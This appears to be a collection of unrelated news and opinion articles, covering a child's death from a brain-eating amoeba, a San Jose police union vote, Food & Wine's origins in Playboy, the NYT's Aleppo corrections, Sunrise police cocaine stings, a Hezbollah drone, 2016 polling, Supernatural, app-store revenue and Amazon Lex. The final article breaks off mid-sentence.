-Parents mourning the loss of their six-year-old son discovered the boy had penned a heartbreaking goodbye letter.  After Leland Shoemake passed away from a rare brain infection, his parents, Tim and Amber, returned to their Pike County, Georgia home to select clothes for him to be buried in.  Read: This 6-Year-Old With Leukemia Became 'Spider-Mable' and Heroically Saved A Hockey Star  Entering the home for the first time since he had been hospitalized, they discovered a piece of paper with a note written in red marker on their living room table.  “Still with you,” read the handwritten note in red marker. “Thank you mom & dad.”  Below, Leland had drawn a red heart with the words “mom,” “dad” and “love” written inside. “Good day,” he added in purple marker.  “We have no idea when he wrote it but you can tell he was always a special child. We will love you forever Leland,” wrote Amber, who shared the photo and note on Facebook.  Little Leland was hospitalized after he contracted balamuthia mandrillaris, a rare and deadly amoebic infection, his mother said.  “I was over protective of Leland and tried my best to keep him safe. The one thing he loved most was playing in the dirt. I never imagined that would be the thing that would take him from me. He was my world. He made me a mother,” the heartbroken woman wrote, calling the boy that she and her husband had struggled to have “perfect.”  “He was smart from day one. He knew his abc's, numbers, colors, shapes and 20 sight words by the time he was a year old. He was our little nerd and we loved that about him. He loved school and loved to learn,” Amber noted, going on to detail his hobbies and interests. “He was the smartest, most caring, loving little boy there ever was. He was taken from us too soon.”  Read: Homeless Brothers Land Apartment After Kind-Hearted Cop Paid For Their Hotel Stay  Leland lost his battle with the disease on September 25.  “Today sweet Leland went to be with the Lord. He fought so hard, but ultimately the sickness was too much for his body to handle,” read an update at the time on the Facebook page ‘Prayers for Leland.’  On Wednesday, Leland’s parents picked out their child’s headstone, his family wrote on the page.  “Reality still hasn't set in that he's not here with us. We miss him terribly. I'm not ready for this either. I'm not sure how I'm going to go on without him. How do you not only say goodbye to a child but your best friend.”  Watch Below: Bride Reads Touching Note Her Mom Wrote After Adopting Her 20 Years Ago  Related Articles:
-SAN JOSE — A two-hour discussion by the police union about whether to admonish their boss waffled briefly before ending with an “overwhelming” decision against such a move Tuesday, with leaders saying it would have been an unnecessary distraction from more pressing issues.  Although Chief Chris Moore avoids a dreaded “no confidence” vote, union officials stressed their decision should not be viewed as support for Moore’s leadership or the City Council they’ve clashed with over layoffs, cuts and officer pay and benefits.  “There isn’t a lot of confidence in Chief Moore and his leadership style,” said Jim Unland, president of the San Jose Police Officers’ Association. “But we think (a no-confidence vote) is a distraction from the real issues that need to be addressed in City Hall.”  Unland acknowledged that Moore doesn’t have control over the budget crises that have led to the elimination of divisions such as a dedicated gang-suppression unit and proposed reductions in the fraud/burglary unit and traffic-enforcement teams. But he said the chief of the 1,060-officer force is not fully using his platform as the city’s top cop.  “What isn’t beyond his control is being vocal,” Unland said. “We’re telling him to get off the bench and into the game.”  Moore responded to the morning’s developments by pledging to more effectively communicate the ways he advocates for his rank and file.  “I completely understand and share the frustrations of our officers,” Moore said. “The sentiment is clear: I need to spend more time working with them explaining the steps I’m taking to support them.”  Upward of 300 members attended the morning general meeting — widely acknowledged as heavier-than-usual turnout — following news coverage of the potential symbolic slap of Moore. Word got out last week that Officer Howard Johnson Jr., a union board member, placed an item on the meeting agenda to spark a discussion about a no-confidence vote.  “I’m not disappointed,” Johnson said after the meeting. “The message is here. The message is being brought out to the public.”  Staff writer John Woolfolk contributed to this story. Contact Robert Salonga at 408-920-5002. Follow him at Twitter.com/robertsalonga.
-Everyone loves an American origin story, especially a complicated one—and there is no more complicated media figure than Hugh Hefner, who died yesterday at the age of 91. The visionary behind Playboy, the magazine, the brand, the lifestyle, it turns out Hefner also introduced the world to Food & Wine magazine in March of 1978.  That’s correct: Food & Wine launched as a supplement in the March 1978 issue of Playboy and then as a stand alone magazine two months later. The original group of five founders, Robert and Lindy Kenyon (parents of newscaster Sandy Kenyon), Michael and Ariane Batterberry (who would later go on to run the much beloved Food Arts) and Peter Jones convinced Playboy there was an opportunity to create a magazine for an emerging passion group: Epicureans. Playboy, and Hef, were in their heyday, as was America. An economic revitalization was leading to the expansion of the middle and upper class and with that came a love of "finer things."  Food & Wine archives  The founders were sure it was time to make a magazine that would celebrate the new American appetite—but investors weren't convinced. According to Ariane Batterberry, who spoke with Food & Wine this morning, it took "seven years" to raise enough money for launch. "Americans would never be interested in food," the finance community told them, so the group set out to cobble together a patchwork of backers—Playboy was one of them.  Believing men—and yes women—would appreciate a "scrupulously honest magazine that cast an appraising eye on everything from cookbooks and kitchen appliances to mail-order houses to Washington lobbyists," Hefner clearly agreed and placed, next to the cover line "Sex Gadgets: The Good, The Bad and The Boring," the announcement of the launch of the The International Review of Food & Wine, called only Food & Wine on the cover.  Food & Wine archives  Batterberry distinctly remembers working with Hefner, whom she says "was wonderful to work with. He was really an editor, he really loved the editorial. And he respected that it was our magazine and left us alone—he really liked Food & Wine." The founders worked most closely with Christie Hefner on the business side, but Batterberry clearly recalls her weekend at the Playboy mansion with Hugh when they struck the deal.  "It was wonderful, but not for the reason you think," Batterberry told Food & Wine. "I didn't see a single bunny the entire time we were there. Two things that did stand out to me were the really beautiful art collection—there was art everywhere—and his amazing menagerie: there were monkeys and peacocks and maybe even big cats, I don't quite remember. I always tell people Playboy wasn't what you think it was."  As for dinner, "I will say they served boy food—steak and lobster, that kind of thing—which I loved," she told us. Most memorably, they broke into the second course (steak) with a tray of chocolate chip cookies. "You see, they had just realized that if you microwaved chocolate chip cookies, the chocolate melted but the cookie stayed crisp—but they must be eaten right away. We had a cookie orgy at dinner—everyone ooh-ing and aah-ing over the cookies, that was it."  Inside, the launch insert is no less astonishing or accomplished. On the cover is a (fully dressed) woman and chef—toque, mustache and all—sipping wine, hanging at the bar of a clearly California restaurant. Its only cover line, a quote from James Beard: "At last, a magazine about food in all its aspects." The cover also debuts our famous "&," a symbol we still use.  Inside you find some of the most accomplished names in food and journalism: George Plimpton, Miriam Ungerer, Jacques Pépin, James Beard, Gael Greene and an ad for Johnny Carson’s clothing line.  Food & Wine archives  Coming as no surprise, we right away find a photo of 007 himself, Roger Moore, tuxedoed and hanging with Michael Caine, dining at London's Intercontinental Hotel on a menu "drawn directly from Ian Fleming’s action fraught pages. Included for the occasion were Turbot Poché, Sauce Mousseline accompanied by a Macon Superieur (On Her Majesty’s Secret Service, Goldfinger) and Sorbet á la Champagne served with mounds of tropical fruits and torrents of Dom Perignon (Dr. No, The Man with the Golden Gun, The Spy Who Loved Me)."  Food & Wine archives  Other amazing gems: a piece on the return of the at home smoker ("any place suitable for a barbecuing can accommodate a smoker"; a page called "Status Lunch; The Inside Track on Who Eats Where And How Well"—the first item about The Pool Room at The Four Seasons (getting a four fork recommendation); a lesson from Jacques Pépin (a personal chef at the time!) on souffles, including a recipe; a short piece on why it was time to begin gardening for vegetables and herbs from seeds and where to find them; a recipe for "The World’s Great Classics No.1: The Manhattan" (1/3 sweet vermouth; 2/3 rye whiskey, whatever brand preferred; 2 dashes Angostura bitters,optional); an essay on the dinner party meant to kill Rasputin by, casually, George Plimpton  Food & Wine archives  A "Connoisseur’s Forecast on California Wines" including ponderings from James Beard, Gael Greene (identified as New York Magazine’s “’Insatiable Critic’), Sam Aaron (co-author of the Joy of Wine) and Philip Brown; a feature story on Haiti that begins "If you have a soul, you’ll get Haiti" including a guide to Haitian specialties: "'Consomme': Not what you’d expect. In Haiti this usually means a rich, thick puree or soup based on aromatic vegetables, meat, seafood, etc. ‘Marinade’: Again hardly what you’d expect. Deep-fried fritters or croquettes based on anything from breadfruit to salt fish…"  Food & Wine archives  And then the ultimate show stopper, "Verdict: Canned Tuna. Bumble Bee, Chicken of the Sea, Star-Kist and Geisha" judged by a panel of 'notably sensitive and educated palates' which included a hostess/designer, the owner of a cooking school, a former New York Times restaurant critic and the then vice-president of Sherry-Lehmann. (Spoiler alert: they picked Bumble Bee.)  Food & Wine archives  Always ahead of the trend, a feature on tapas described as "free-form party fare, tapas may be consumed in either vast or puckish quantities, indoor or out, by day or by night, with a broad spectrum of drinks" written by James Beard himself.  Food & Wine went on to be sold to American Express publishing in 1983 and then to Time Inc., the current owner, in 2013. We are still devotedly dedicated to the finer things, but we no longer cover "mail-order houses."
-Everyone agrees that Gary Johnson, who is pretending to be an actual candidate for the presidency under the banner of the Libertarian Party, humiliated himself this morning by not knowing what “Aleppo” was. The New York Times immediately read his embarrassing gaffe into the record. It wrote:  “What is Aleppo?” Mr. Johnson said when asked on MSNBC how, as president, he would address the refugee crisis in the Syrian city that is the de facto capital of the Islamic State.  The Syrian city of Aleppo is not the de facto capital of the Islamic State. When the New York Times was apprised of this, it quickly rewrote the piece:  “What is Aleppo?” Mr. Johnson said when asked on MSNBC how, as president, he would address the refugee crisis in the Syrian city that is a stronghold of the Islamic State.  Aleppo is also not a stronghold of the Islamic State. Here is a concise account of the state of the politics of the fighting in Aleppo:  In Aleppo, the forces fighting the government range from groups with American backing to factions that until recently were officially affiliated with Al Qaeda. The Islamic State is not a player in the city.  Advertisement  That is from a story on the Times’ website today, written by Anne Barnard, who has been steadily covering the horrors of Aleppo for the newspaper. It is about a chlorine gas attack against civilians in the city yesterday, probably perpetrated by the government. The chemical weapons sickened some 120 people and killed two, including a 13-year-old girl.  If you follow Barnard’s Twitter account, you wake up every morning to a fresh roundup of war crimes and other atrocities being perpetrated across Syria, in unending violence that has made a mockery of every pretense of international order or human rights doctrine. What is happening in Syria is a stain on civilization.  And, clearly, it’s too much for the New York Times campaign desk to keep up with. The Times writes about a dire and ongoing failure of foreign policy, and the people who are covering presidential politics for the Times don’t read it. Mistaking Aleppo for the Islamic State capital is a particularly glib and reductive error to make, suggesting an inability to conceive of the multi-sided debacle in Syria as anything beyond terrorist villainy.  Advertisement  Finally, on the third try, somebody straightened it out:  “What is Aleppo?” Mr. Johnson said when asked on MSNBC how, as president, he would address the refugee crisis in the war-torn Syrian city.  What a dummy, that Gary Johnson! How can you consider yourself seriously involved in politics if you don’t even know what Aleppo is?  Advertisement  Here’s a Google Trends graph for “Aleppo” in the past week:  That line stayed flat through yesterday’s chlorine gas attack. The only thing that got people to care about Aleppo was the chance to make fun of someone for accidentally admitting that he didn’t care about Aleppo.
-By Ng Yi Shu  Tired of uncles nagging you and the government in Hong Lim Park?  Several young Singaporeans decided to get together and organise a community picnic at the Asian Civilisations Museum yesterday.  Calling the event “more than a miracle”, Stand Up for Our Singapore (Stand Up) volunteers, dressed in red, helped to set up the various booths around the lawn and explain what the event was about to the public.  About 400 people attended the event. Participants interacted with a mutual stranger with the aid of conversational prompts such as ‘Share an act of kindness that a stranger did for you that touched you a lot.”  So what’s the event about?  “What we’re about is about showing that there are alternative ways to expressing our concern for Singapore,” said organiser Wally Tham, who works as a director at Big Red Button.“We explore themes of how Singapore can be great… how Singapore can be resilient.”  The movement has had different themes throughout its various editions – but it is generally premised upon spreading an alternative response of positivity and goodwill to Singapore through its events.  This is the movement’s fourth edition. Stand Up organised three events previously – on National Day 2012, when volunteers gave out flyers exhorting graciousness on public transport; on Christmas Day 2012, where messages of appreciation was sent out by the public to bus drivers, and on Labour Day 2013, when a community picnic was held at Hong Lim Park.  The organisers – (clockwise from top) Wally Tham (center, holding camera), Tong Yee, Wu Xinyan and Scott Lai (center)  [quipbox float=”right” boxcolor=”000000″ boxhead=”How much does it cost to organise such an event?”]  The organisers received nearly no official funding, except for the first edition, where the National Youth Council supported the movement with a $3,000 Young ChangeMakers grant. That was not enough to cover the costs however; Stand Up’s events have usually incurred an average cost of around $9,000 – $12,000.  [/quipbox]  Said Wally Tham, “(The organisers) see ourselves as very much embedded in Singapore… and when we see sentiment moving this other way, where folks are just angry and folks are being mean, and it almost becomes the only mode of emotion, we feel we have to stand up and say ‘No! There is another way… this is not the only perspective on this matter.’”  The theme this year is gratitude – gratitude to people in service to Singapore. “The event today is our effort to acknowledge the people we have never met, but are simply grateful for anyway,” the organisers wrote in a letter given out to all participants.  “I think… the narrative of gratitude that’s a very important thing to have other people hear… whether it spreads or whether people believe it or not I’m not really sure… but I do know that it’s a very valuable message,” Tong Yee said.  Messages of gratitude to various people of different occupations hang from one side of the lawn.  The organisers added that they intend to have similar events in the heartlands.  On why the organisers chose the slogan ‘More than a Miracle’, Tong said, “we just felt that the Singapore Miracle story has served its purpose… beyond the miracle, the next generation needs another narrative. ‘More than a Miracle’ is about what happens internally (within us) – what we do to continue our sustainability.’  The organisers and participants have different views about what a new narrative for Singapore should be. Heidi Mah, a volunteer, said that she would want people to step out of their own box and express their love for their country. “We are now more stable, (yet) people are getting more discouraged… and I feel that amongst us all there are people who trust and truly love the nation,” she says.  Wu Xinyan, one of the organisers, said that she would stand for the diversities that Singapore represents. “We have several cultures all melding into one, and that makes us distinctly special – and I think that’s something worth celebrating.”  Photos by Ng Yi Shu  Find Mothership.SG on Facebook and Twitter.
-By  With public outrage growing over the paltry six-month sentence handed down to a Stanford University student who was convicted of sexually assaulting an unconscious drunk woman, many are blaming “rape culture” for what seems to be a widespread, casual acceptance of rape. While we may be at a loss to explain what, precisely, rape culture is, that doesn’t mean that we can’t get rid of it. Dandy Goat moral indignation correspondent Richard Omega interviewed Victoria N. Pedestal, author of “How to End Rape Culture in Six Steps,” who explained just that.  Stop sending our sons to summer rape camp  This might seem obvious, but many families still think that summer rape camp is an integral part of growing up. I remember the year that my own brother went to rape camp in the Pocono Mountains. Before he left, he was really into the idea of consent. He even asked for my permission to give me a hug when we dropped him off at the train station. When he returned home at the end of the summer, he was a veritable rapist. Tragic.  Remove pro-rape literary works from public school curricula  It’s time that canonical pro-rape works like Hemingway’s “Rape Is Good” and Shakespeare’s “Many a Rapes Doth a Man Make” are forever removed from English classrooms, no matter how important some say these novels and plays are. The other day, I caught my seventh-grade daughter reading the classic pro-rape poem called “She Deserved It.” When I asked her where she got such drivel, she said that her teacher had asked the whole class to write an essay about how the poem speaks to fundamental truths. Awful.  Petition Congress to get rid of National Rape Day and replace it with a more deserving federal holiday  Every first Wednesday of October, Americans stay home from work and school to celebrate National Rape Day. Sure, a lot of people don’t even rape each other on this day, and more and more businesses are deciding to remain open for Rape Day sales. Still, the message to people is clear: rape is part of our culture. Horrible.  Pressure Hollywood to stop making movies celebrating rapists as heros  Most of what comes out of Hollywood these days is decidedly pro-rape. Chances are, the last movie you watched featured a male protagonist who goes around remorselessly raping women, much to the delight of other characters in the movie. And television is no better. With everyone watching shows like “Raping with the Stars” and “Rape and Recreation,” it’s no wonder why rape is so widely accepted. Unacceptable.  Close down campus rape clubs  On almost every college campus, you can find rape clubs, some of them dating back to the 1760s. At my alma mater, Penn State, there were no fewer than 16 rape clubs, and worst of all, some were even open to having female members and officers. My freshman roommate even dated the president of one of these rape clubs. Needless to say, he was a repugnant rapist. Disgusting.  Make rape illegal  Some people might argue that outlawing rape constitutes an invasion of the privacy between two or more people engaged in a very intimate act, but such measures are necessary to extinguish rape culture. Think about it: if you’re a man and you’re considering raping a woman this evening, wouldn’t the fear of a few years in jail deter you? Unless you’re a total psychopath, which few rapists are, I’ll bet the answer is yes. We already take a stand against murder, theft, and tax evasion by making these activities illegal, so why not do the same with rape? Indeed.  (Visited 1,170 times, 25 visits today)
-A money-making venture to lure out-of-town drug buyers into Sunrise to purchase cocaine from police has been halted as a result of a South Florida Sun Sentinel investigation.  Mayor Michael Ryan, who supports the undercover stings, lay blame for ending the operation on the newspaper's reporting techniques. He said the paper exposed police tactics and strategy and compromised the work.  Ryan did not express concerns about cocaine buyers being lured into the city and closing deals in such public locations as parking lots and family restaurants. In a statement to the paper, he said he was told by police that the public has never been in danger.  The mayor did not address huge overtime payments to undercover officers and lucrative rewards to a network of secret informants.  Four of the five commissioners, including the mayor, support the practice. Commissioner Neil Kerch, a defense attorney, declined to comment because of the nature of his profession.  "It bothers me that they don't see a problem with it," Sunrise resident Roseanne Eckert told the Sun Sentinel Friday.  The mother of a teenage boy, Eckert wrote to the mayor earlier in the week, expressing concern about the safety of her son and his friends riding bikes near Sawgrass Mills, the sprawling outlet mall where undercover police and informants posing as cocaine dealers have staged stings.  "I now have to worry that your ... police will be out guns blazing because of criminals they brought to our city?" she asked the mayor.  Sunrise made its last major cocaine trafficking bust July 3, jail and police records show. The sting and arrest took place in the parking lot of the Don Pan International Bakery, just south of the mall. Detectives arrested a New Jersey man who came to town to buy a kilo of cocaine from them.  The Sun Sentinel published the results of a six-month investigation Oct. 6 and 7 exposing how the police department's narcotics unit has made millions of dollars in recent years -- not by capturing local drug dealers but by drawing high-dollar cocaine buyers into Sunrise from far away and then seizing their cash and cars.  The newspaper found that police departments in nearby cities don't systematically lure in drug buyers from afar. Nearly four out of every five suspects booked since 2009 for cocaine trafficking by Sunrise police listed home addresses outside Broward County.  The newspaper revealed that police enticed buyers with bargain prices and offers of coke on consignment.  The city also paid one lady informant -- a charming, shapely brunette -- more than $800,000 since 2008. She was credited by police with helping Sunrise set up 63 stings and reel in at least $5 million in cash and assets seized from criminals, according to a court record.  The newspaper also reported that a dozen undercover officers regularly working the stings made a total of $1.2 million in overtime over three-and-a-half years.  The stories were distributed widely online and were featured on television by CNN and ABC's Nightline. The coverage ignited an intense debate about the appropriateness of local police working to nab wannabe cocaine buyers living 1,000 or more miles away.  The police department, however, had its defenders, including the Greater Sunrise Chamber of Commerce.  "We support the efforts of the Sunrise Police Department to arrest people who are trying to buy drugs to sell in communities, whether our community or others," said Michael Jacobs, executive director.  Some elected city officials also stuck by the cops.  Commissioner Larry Sofield told Police Chief John Brooks at Tuesday's regular public meeting of the Sunrise Commission: "I don't see that you've been doing anything illegally or immoral. I think you and your unit, people, have been doing a great job."  Addressing the Sun Sentinel directly, Sofield said: "I think you have done a great service to the community. Unfortunately I think it was the criminal community that you have done service to."  Brooks has remained silent on the controversy, letting any response come from his staff or from the commission, to which he reports. He's repeatedly denied requests for comment from the Sun Sentinel before publication and after, and he hung up on a reporter Thursday.  Eugene O'Donnell, professor of law and police studies at John Jay College of Criminal Justice in New York, said a cocaine-selling program like the one instituted in Sunrise must be carefully overseen.  "It brings up so many issues, ethical issues, safety issues. Is it being done for money? Those are all serious questions. There has to be oversight," he said.  The U.S. Department of Justice Inspector General audits and investigates the receipt and expenditure of federal forfeiture funds, but due to the governmental shutdown no one was available to respond to inquiries from the Sun Sentinel.  Florida state Rep. Katie Edwards, a Democrat who represents Sunrise, said she plans to meet with city officials to learn more specifics about how the stings were carried out.  "As a legislator, my concern surrounds whether these practices are tantamount to entrapment and run afoul of the Constitution," she said.  Broward State Attorney Michael Satz said his office has found no problem with Sunrise officers posing as drug dealers, selling cheap cocaine, and luring in buyers from afar.  "South Florida is known as a source of drugs," he said. "People come to South Florida to buy drugs."  But Broward Public Defender Howard Finkelstein said the police are "putting citizens at risk."  "They are bringing felons here," he said. "No one is going to think this is a good idea unless it's another police administration that wants to use this to raise money. We have enough drugs and criminals here. Now we are importing them?"  momatz@tribune.com; 954-356-4518. ___  (c)2013 the Sun Sentinel (Fort Lauderdale, Fla.)  Visit the Sun Sentinel (Fort Lauderdale, Fla.) at www.sun-sentinel.com
-Dear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World.  Hezbollah leader Hassan Nasrallah acknowledged on Thursday sending a drone aircraft into Israel on Saturday which was then shot down by the IDF.  Nasrallah said in a televised speech on the Al- Manar station that the drone was Iranian-made and that it was shot down near the Dimona nuclear reactor.  Tamara Zieve and Yaakov Lappin contributed to this report.  “The drone flew over sensitive installations inside southern Palestine,” he said.Nasrallah claimed the Ayoub drone was designed and manufactured in Iran and assembled in Lebanon, denying reports that the drone was a Russian design.The Hezbollah leader said the drone was sent as a response to what he referred to as Israel's violations of Lebanese airspace since 2006."This flight was not our first will not be our last, and we give assurances we can reach any point we want. We have the right to dispatch recon planes over occupied Palestine at any time," Nasrallah said.Earlier in the day, Prime Minister Binyamin Netanyahu named Hezbollah as the group behind the drone during a tour of the fence that is being built on the border with Egypt.Netanyahu said Israel would “act with determination to defend its borders at sea, on air and land” just as it had “thwarted Hezbollah’s attempt over the weekend,” to send an unmanned aircraft into Israeli airspace.IAF chief Maj.-Gen. Amir Eshel told a group of about 100 new officers on Thursday that the drone intrusion was part of a daily battle being waged against Israel.“The environment in which we live is changing quickly,” Eshel said. “Part of [the region] rejects our values and our right to exist.Now, too, leaders declare their intention to destroy us, while to our north, tens of thousands of people are being butchered and the world is standing on the sidelines.”Netanyahu praised the IDF for being on pace to complete the fence well ahead of schedule. More than 213 km. of the 242-km. fence has been built.“Two years ago, there was no fence here,” he said. “Three thousand migrants were coming in every month and it could have escalated to a lot more, which could have been fatal for Israel as a Jewish and democratic state.”In a veiled reference to the January election, Netanyahu vowed to return to the fence in six months when it will be complete.  Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>>
-"Trump rallies are still jam-packed, compared not only to Clinton's rallies, but the usual attendance we see at political rallies even this close to Election Day."  But what about that elephant in the Trump Tower penthouse? His personality is a problem. Most of the electorate simply does not see him as a good or even decent person. In any other election year, where the personal likability of the candidate is probably the most important factor, the public's lack of esteem for Trump would be lethal.  Yet this isn't any other election year. Trump is running against a candidate with an almost equally poor likability factor. So by definition, millions of us will be voting for someone we don't personally like or even greatly respect. And in this age of terror and Wikileaks, something could happen to make us switch our vote to the other candidate that we also don't like or respect all that much. Pollsters and other experts alike could be assuming that since most voters do not personally like Trump or Clinton, they won't vote for one or the other. Political choices are ultimately emotional choices for 99 percent of us, and polls can't always gauge emotions very well.  But let's look at some other polls for a second, because there is absolutely no diversity when it comes to what the polls are telling us about the direction of the country. Every major poll taken over the past two years has shown a massive majority of the respondents believe the country is going in the wrong direction.  The average of the last nine of those polls has the "wrong direction" folks with more than a 35 percentage point majority. That's well into the territory where historically the incumbent party in the White House is toast. And Clinton has done almost nothing to try to recast herself as a change agent. This is one key wildcard the election pollsters may not really be able to adjust for when it comes to how they measure Trump's support.  And that wildcard comes mostly from economic uncertainty and pain. No one thinks things are as bad as they were during the height of the 2008-09 Great Recession. But wages are still depressed, the GDP is barely growing, and a newly-leaked email shows even Democratic National Committee acting Chair Donna Brazile telling Clinton campaign Chair John Podesta that the economy is simply not good.  Economic disenchantment has been evident throughout this campaign, especially at the Trump and Bernie Sanders rallies. Perhaps the reason Clinton doesn't draw the big crowds despite a lead in the polls is that even her supporters may not be up for hearing happy talk about the Obama economy and how she'll keep it going. Economic despair, even among Clinton fans, has to be considered a possible drag on turnout for her and a possible lightning bolt for Trump.  The bottom line is that the usual election rules are in the trash in 2016; that's been apparent ever since Trump first surged in the early GOP primary polls. The question is why so many experts are so certain that things are back to normal enough to stop worrying about a Trump win.
-Supernatural pulled another huge status-quo change at the end of last season, and now we've gotten our first glimpse of how this massive event will play out. And let's just say Demon Dean reminds us a little bit of Jack Nicholson in The Shining. Spoilers ahead...  The Supernatural panel at Comic-Con showed us a clip where the demonized version of Dean Winchester meets Sam for the first time — from an episode directed by Jensen Ackles. (Ackles mentioned that Dean spends a lot of the episode tied up, a fact the fans were excited to hear.)  Advertisement  The clip mostly consisted of Dean stalking Sam through the Men of Letters HQ with a big fire axe, and very nearly taking Sam's head off. Dean has a great snarky energy as he urges Sammy to come and get it. At one point he calls his brother "Sammy bear." Later, the two Winchesters are face to face, and Dean is telling Sam that he's the real monster — Dean may be a demon now, but Sam has done some terrible things (including recently, searching for Dean) that are more monstrous.  During the panel, Ackles mentioned that Demon Dean isn't like other demons we've met on the show — this isn't a demon possessing a "meat suit," it's Dean's soul twisted in a demonic direction. Dean is still himself, just evil and sadistic. And Demon Dean doesn't care as much about the Impala as regular Dean does.  Demon Dean is like the guy at the party who doesn't want the party to end, even after his friends have all left and the music has died down, Ackles told us in the media pressroom. He doesn't even care, he just wants to be an asshole. Demon Dean is constantly getting into fights. "Lot of booze, lot of babes, lot of fights." Demon Dean isn't comedic, but he's definitely lighter — especially after last year, where Dean was so guilt-ridden.  Advertisement  A big deal last season was when Sam claimed that he would never go to as extreme lengths to save Dean as Dean had gone to to save Sam. But now, we're going to see Sam going to crazy lengths to find and save demon Dean. We asked Padalecki about this contradiction, and he said Sam was lying to Dean "because he was hurt," and "you always hurt the ones you're closest to."  Added Padalecki, "Sam wasn't saying, 'I don't care about you'... that was Sam's way of saying, 'You hurt me and you lied to me and you let me get possessed by an angel.' We do see how far Sam is willing to go, and Sam goes outrageously far, and we see the darker side of Sam, and we test the edges of morality."  But the time when Dean was in purgatory and Sam didn't look for him because he got a girlfriend and dog "was strange," added Padalecki.  Advertisement  Padalecki said it's been a lot of hard work coming up with new versions of Sam — the soulless version, the angel version — and it's nice that Dean is dealing with that this time around, and Padalecki has has a much more relaxing summer. Padalecki enjoyed playing soulless Sam because he was a character of pure logic, and Padalecki drew on his past as a "mathlete" in school, with a version of Sam who's always calculating.  Mark Sheppard, who plays Crowley, hinted on the panel that nobody will ever believe that Crowley didn't know what would happen to Dean with the Mark of Cain — but at the same time, Crowley may or may not be able to control his new demon friend.  In the press interviews, I asked Sheppard if he thought the relationship between Crowley and Dean was mostly just Crowley manipulating Dean, or whether there was other stuff going on. Sheppard said "there's genuine affection" between Crowley and Dean, and Crowley "would have done a lot of things, if he didn't care for" Dean. You never quite know what Crowley's endgame is, but he always manages to resolve things so he comes out on top.  Advertisement  Also, Misha Collins, who plays Castiel, said that Cas will be much more concerned with helping Sam to fix Dean than with his own fading grace. During the pressroom interviews, Collins told us:  "I think Cas has developed a somewhat fatalistic perspective on life, and I think that he feels like he's doomed because the only solution he now is to either get Metatron's cooperation, which he's too prideful to do, or slit an angel's throat and steal its grace and he doesn't want to kill any more angels, so he is somewhat resigned to his own expiration. So he's conerned about it, but he feels like doesn't have any options."  Showrunner Jeremy Carver said that Dean's demon transformation shapes everything that happens this season — and he also teased the 200th episode, which sounds like it's going to be not just a musical, but some kind of hair-metal tribute. Rawk on.  Advertisement  In the pressroom interviews, Carver said the new season is "not going to be quest-oriented," and instead the arc is going to be much more character-based and built around the impact of the decisions the characters have made. "Crowley and Castiel are going to be confronted with some very personal issues," said Carver.  "Last year was certain people deciding who they wanted to be," Carver added. "Everybody had to make that decision in the season. This season is, 'I am who I am.' That could be a very good or very bad thing."  Carver also teased that there would be some returning characters — one episode will team Sheriff Mills with Sheriff Donna Hanscum from the episode "The Purge," and the show will be doing its own version of The Heat.  Advertisement  In addition, "you're going to see characters that have been spoken of and have never been seen over the 10 years" of the series, Carver added.  Could Castiel star in a Supernatural spin-off? The writers are still "kicking around a lot of possible ideas about what a spin-off could be," said Collins in the press roundtables. "But nobody's talked to me." Asked about another attempted spin-off, Carver would only say that they're looking at the whiteboard and listing some ideas right now.
-Even though Google's Android handily tops Apple's iOS in terms of overall smartphone market share, a new report suggests that Apple still wallops it when counting dollars spent on apps.  In a note sent to investors this morning, Piper Jaffray's Gene Munster says Google's Android Market has pulled in about 7 percent of the raw sales that Apple's had since it launched the App Store, with Apple continuing to mop up about 85-90 percent of money spent on mobile apps.  Munster offers that Google is on track to eat into that hefty lead over the "next 3-4" years, with Apple's lead on dollars spent slipping down in the the "70 percent plus" percent range. To validate this, Munster points to a mix of sources, mainly third-party app tracker AndroLib and Apple's disclosures (presumably apps downloaded, and developer payouts--two numbers Apple frequently touts).  So how much does that work out to for Google in terms of app sales? Munster offers a ballpark estimate of about $330 million since the launch of Google's Android Market. That's from 90 million paid app downloads out of Google's 6.75 billion total registered downloads, which means that 1.3 percent of its downloads were paid apps.  Crunching the numbers, Munster has Apple Apple considerably higher with 13.5 percent of its downloads being for paid applications, with Apple pulling in about $4.9 billion in cumulative sales since launching the App Store in 2008.  Piper Jaffray  One area where Google has Apple handily beat, according to Munster's figures, is on the average sale price of its apps, with Google pulling in more per paid app than Apple. For Google that works out to be $3.79 an app, with Apple coming in at a lesser $2.01. Apple's still got Google beat in terms of the number of apps users have installed on their devices, with the average iOS user downloading about 71 apps, versus Android's 34.  Piper Jaffray's report follow's last week's third quarter smartphone market share analysis from Gartner, where the firm noted that Google's Android secured 52.5 percent, more than doubling in the course of a year. That same report had Apple's 16.6 percent share from last year, scaling back to an even 15 percent, and behind Symbian for third place.
-Amazon Lex, the technology powering Amazon’s virtual assistant Alexa, has exited preview, according to a report from Reuters this morning. The system, which involves natural language understanding technology combined with automatic speech recognition, was first introduced in November, at Amazon’s AWS re:Invent conference in Las Vegas.  At the time, Amazon explained how Lex can be used by developers who want to build their own conversational applications, like chatbots.  As an example, the company had demoed a tool that allowed users to book a flight using only their voice.  However, the system is not limited to working only in the chatbots you find in today’s consumer messaging apps, like Facebook Messenger (though it can be integrated with that platform). Lex can actually work in any voice or text chatbot on mobile, web or in other chat services beyond Messenger, including Slack and Twilio SMS.  Amazon has suggested it could be used for a variety of purposes, including web and mobile applications where the technology provides users with information, powers their application, helps with various work activities, or even provides a control mechanism for robots, drones and toys.  Chatbots in messaging – and particularly in e-commerce bots – is a solid entry point for Lex’s technology, though. Consumers today have been frustrated by the current crop of chatbots that have clunky menus to navigate through, and a limited ability to respond to questions users asked. Lex, on the other hand, would allow developers to create bots that convert speech to text and those that could recognize the intent of the text, making the resulting bot more conversational, and more sophisticated than those on the market at present.  Lex, as a fully managed Amazon service, would also scale automatically as the bots’ usage increased, meaning developers would only pay for the number of text or voice queries that Lex processes.  Amazon’s goal with opening up Lex to the wider development community could give it an edge in its ability to compete with other voice technology, like Google’s Assistant or Apple’s Siri, for example. The company plans to take the text and recordings that people send to Lex-powered apps in order to improve Lex, and its ability to understand more queries, notes today’s report.  This openness has been Amazon’s larger strategy with much of its Alexa platform. For example, it already had rolled out Alexa Voice Services which allowed developers to integrate Alexa into their own devices, like speakers, bedside alarm clocks, and more.  Alexa’s software isn’t the only area where Amazon is embracing an open ecosystem. The company earlier this month said it would make the technology powering its Echo speakers available to third-party device makers as well. This includes the microphone array listening to 